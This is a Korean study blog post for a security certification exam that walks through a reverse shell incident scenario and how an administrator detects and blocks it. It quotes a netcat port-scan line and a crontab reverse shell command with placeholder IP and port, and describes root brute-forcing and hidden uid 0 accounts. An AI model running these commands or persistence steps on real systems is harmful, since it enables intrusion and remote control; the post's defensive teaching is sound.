소소한 IT이야기/정보보안기사 실기

[정보보안기사] 침해사고 시나리오 - 01 리버스 쉘(Reverse Shell)

Klaus 2023. 7. 14. 19:22

1. 사전지식

 

[+] 넷캣 or NC (netcat)

netcat 로고

- TCP 또는 UDP를 사용하여 NW연결을 확인하거나 기록하는 유틸리티 툴(tool)

- 네트워크 연결 디버그 및 모니터링, 열린 포트 검사, 데이터 전송, 프락시 등의 기능을 가지고 있음

- 호환성이 좋아 거의 모든 OS에서 사용가능하며,  Linux의 경우 기본적으로 설치되어 있음

- 바인드 쉘 (클라이언트(공) 타겟 서버에 접속하여 타겟 서버의 쉘을 획득) ==> 중간에 방화벽이 있다면? 연결 차단됨

- 리버스 쉘 (타겟 서버가 클라이언트(공)로 접속해서 클라이언트가 타겟 서버의 쉘을 획득) ==> 내부에서 외부로 연결하기 때문에 방화벽 우회

 

예시)

nc -z -v [IP 주소] 20-80 2>&1 | grep succeeded

2. 리버스 쉘 침해사고 시나리오

 

[+]시나리오

  • 공격자는 특정 웹사이트 내부 침투 성공 -> 웹 서버의 관리자(root) 계정을 탈취(brute Force/Dictionary) 수행 -> PW 획득
  • 지속적 침입을 위해 일반 유저로 보이는 루트 권한 사용자 계정 생성 (uid 0 or gid 0)
  • 방화벽 단점(내부->외부)을 이용하여 지속적으로 연결하기 위해 cron 등록
  • 악의적인 명령이 수행되는지 테스트

nc를 이용한 리버스 쉘

3.  관리자 관점 분석

[+] 로그 분석

- 웹서버 로그중 /var/log/secure와 /var/log/messages로그 파일에 허용되지 않은 루트 계정이 telnet으로 로그인되었는지 확인

> 로그인 시도가 비정상적으로 많이 존재하고 그 중 성공한 기록이 있을 경우

 

[+] 루트 계정의 명령어 실행 내역 확인

- bash_history 로그 파일을 분석하여 기록 확인

- history 중 useradd(루트권한 계정 생성)와 crontab(비정상적 스케줄) 확인

- crontab에 root /usr/bin/nc [IP] [port] -e [/bin/bash]와 같이 있다면, netstat 명령어를 통해 확인

 

[+] 대응방안으로 방화벽 아웃바운드 설정

-  방화벽 설정 시 내부에서 외부로 나가는 아웃바운드 설정을 하여 사전에 방어

windows server 방화벽 구성